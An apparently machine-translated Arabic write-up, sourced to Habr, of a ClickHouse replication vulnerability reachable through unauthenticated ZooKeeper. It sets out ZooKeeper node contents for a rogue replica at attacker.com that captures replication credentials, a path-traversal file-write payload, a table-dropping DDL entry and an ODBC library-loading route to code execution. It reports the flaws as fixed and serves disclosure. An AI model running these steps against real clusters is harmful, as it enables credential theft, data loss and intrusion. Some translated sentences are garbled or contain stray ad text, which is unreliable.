ستحكي هذه المقالة قصة ثغرة أمنية محددة جدًا في بروتوكول النسخ المتماثل ClickHouse، وستوضح أيضًا كيف يمكن توسيع سطح الهجوم.
ClickHouse هي قاعدة بيانات لتخزين كميات كبيرة من البيانات، وغالبًا ما تستخدم أكثر من نسخة متماثلة. تم إنشاء التجميع والنسخ المتماثل في ClickHouse في الأعلى
لا يتطلب تثبيت ZK الافتراضي المصادقة، لذا فإن الآلاف من خوادم ZK المستخدمة لتكوين Kafka وHadoop وClickHouse متاحة للجمهور.
لتقليل مساحة الهجوم لديك، يجب عليك دائمًا تكوين المصادقة والترخيص عند تثبيت ZooKeeper
هناك بالطبع بعض عمليات إلغاء تسلسل Java المستندة إلى 0day، لكن تخيل أن المهاجم يمكنه القراءة والكتابة إلى ZooKeeper، المستخدم للنسخ المتماثل لـ ClickHouse.
عند تكوينه في وضع المجموعة، يدعم ClickHouse الاستعلامات الموزعة /clickhouse/task_queue/ddl
.
على سبيل المثال، يمكنك إنشاء عقدة /clickhouse/task_queue/ddl/query-0001
مع المحتوى:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
وبعد ذلك سيتم حذف جدول الاختبار على خوادم المجموعة host1 وhost2. يدعم DDL أيضًا تشغيل استعلامات CREATE/ALTER/DROP.
يبدو مخيفا؟ ولكن أين يمكن للمهاجم الحصول على عناوين الخادم؟
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
سيتم إنشاء العقد الأعمدة и البيانات الوصفية.
محتوى /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
هل من الممكن دمج البيانات من هذه المجموعة؟ نعم، إذا كان منفذ النسخ المتماثل (TCP/9009
) على الخادم chXX-address
لن يتم إغلاق جدار الحماية ولن يتم تكوين مصادقة النسخ المتماثل. كيفية تجاوز المصادقة؟
يمكن للمهاجم إنشاء نسخة متماثلة جديدة في ZK بمجرد نسخ المحتويات من /clickhouse/tables/01-01/foobar/replicas/chXX
وتغيير المعنى host
.
محتوى /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ثم تحتاج إلى إخبار النسخ المتماثلة الأخرى بوجود كتلة جديدة من البيانات على خادم المهاجم والتي يتعين عليهم أخذها - يتم إنشاء عقدة في ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX عداد متزايد بشكل رتيب، والذي يجب أن يكون أكبر من آخر عداد في سجل الأحداث):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
حيث source_replica - اسم النسخة المتماثلة للمهاجم التي تم إنشاؤها في الخطوة السابقة، block_id - معرف كتلة البيانات، دولار فقط واحصل على خصم XNUMX% على جميع - أمر "الحصول على الكتلة" (و
بعد ذلك، تقرأ كل نسخة متماثلة حدثًا جديدًا في السجل وتنتقل إلى خادم يتحكم فيه المهاجم لتلقي كتلة من البيانات (بروتوكول النسخ المتماثل ثنائي، يعمل أعلى HTTP). الخادم attacker.com
سوف تتلقى الطلبات:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
حيث XXX هي بيانات المصادقة للنسخ المتماثل. في بعض الحالات، قد يكون هذا حسابًا يتمتع بإمكانية الوصول إلى قاعدة البيانات عبر بروتوكول ClickHouse الرئيسي وبروتوكول HTTP. كما رأيت، يصبح سطح الهجوم كبيرًا جدًا نظرًا لترك ZooKeeper، المستخدم للنسخ المتماثل، دون تكوين المصادقة.
دعونا نلقي نظرة على وظيفة الحصول على كتلة من البيانات من النسخة المتماثلة، فهي مكتوبة بثقة تامة بأن جميع النسخ المتماثلة تخضع للسيطرة المناسبة وأن هناك ثقة بينها.
كود معالجة النسخ
تقرأ الوظيفة قائمة بالملفات، ثم أسمائها وأحجامها ومحتوياتها، ثم تكتبها في نظام الملفات. يجدر وصف كيفية تخزين البيانات في نظام الملفات بشكل منفصل.
هناك العديد من الدلائل الفرعية في /var/lib/clickhouse
(دليل التخزين الافتراضي من ملف التكوين):
الأعلام - دليل للتسجيل
TMP — دليل لتخزين الملفات المؤقتة.
ملفات المستخدم - تقتصر العمليات مع الملفات في الطلبات على هذا الدليل (INTO OUTFILE وغيرها)؛
البيانات الوصفية - ملفات SQL مع أوصاف الجدول؛
preprocessed_configs - معالجة ملفات التكوين المشتقة من /etc/clickhouse-server
;
البيانات - الدليل الفعلي الذي يحتوي على البيانات نفسها، وفي هذه الحالة لكل قاعدة بيانات يتم إنشاء دليل فرعي منفصل هنا (على سبيل المثال /var/lib/clickhouse/data/default
).
لكل جدول، يتم إنشاء دليل فرعي في دليل قاعدة البيانات. كل عمود هو ملف منفصل اعتمادا على
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
تتوقع النسخة المتماثلة تلقي ملفات بنفس الأسماء عند معالجة كتلة من البيانات ولا تتحقق من صحتها بأي شكل من الأشكال.
ربما يكون القارئ اليقظ قد سمع بالفعل عن التسلسل غير الآمن لـ file_name في إحدى الوظائف WriteBufferFromFile
. نعم، يسمح هذا للمهاجم بكتابة محتوى عشوائي لأي ملف على FS مع حقوق المستخدم clickhouse
. للقيام بذلك، يجب على النسخة المتماثلة التي يتحكم فيها المهاجم أن تعيد الاستجابة التالية للطلب (تمت إضافة فواصل الأسطر لتسهيل الفهم):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
وبعد الوصل ../../../../../../../../../tmp/pwned
سيتم كتابة الملف /تمب/pwned مع المحتوى hellofromzookeeper.
هناك عدة خيارات لتحويل إمكانية كتابة الملفات إلى تنفيذ التعليمات البرمجية عن بعد (RCE).
القواميس الخارجية في RCE
في الإصدارات الأقدم، تم تخزين الدليل الذي يحتوي على إعدادات ClickHouse مع حقوق المستخدم بيت النقر تقصير. ملفات الإعدادات هي ملفات XML تقرأها الخدمة عند بدء التشغيل ثم تقوم بتخزينها مؤقتًا /var/lib/clickhouse/preprocessed_configs
. عند حدوث تغييرات، يتم إعادة قراءتها. إذا كان لديك حق الوصول إلى /etc/clickhouse-server
يمكن للمهاجم إنشاء بلده root
.
ODBC إلى RCE
عند تثبيت الحزمة، يتم إنشاء مستخدم clickhouse
، ولكن لم يتم إنشاء الدليل الرئيسي الخاص به /nonexistent
. ومع ذلك، عند استخدام قواميس خارجية، أو لأسباب أخرى، يقوم المسؤولون بإنشاء دليل /nonexistent
وإعطاء المستخدم clickhouse
الوصول للكتابة عليه (SSZB! تقريبا. مترجم).
يدعم ClickHouse odbc-bridge
لذلك لم يعد من الممكن تحديد مسار برنامج التشغيل من الطلب. ولكن هل يمكن للمهاجم الكتابة إلى الدليل الرئيسي باستخدام الثغرة الأمنية الموضحة أعلاه؟
لنقم بإنشاء ملف ~/.odbc.ini
بمحتوى مثل هذا:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
ثم عند بدء التشغيل SELECT * FROM odbc('DSN=lalala', 'test', 'test');
سيتم تحميل المكتبة test.so
وحصلت على RCE (شكرًا
تم إصلاح هذه الثغرات الأمنية وغيرها في الإصدار 19.14.3 من ClickHouse. اعتني بـ ClickHouse و ZooKeepers الخاص بك!
المصدر: www.habr.com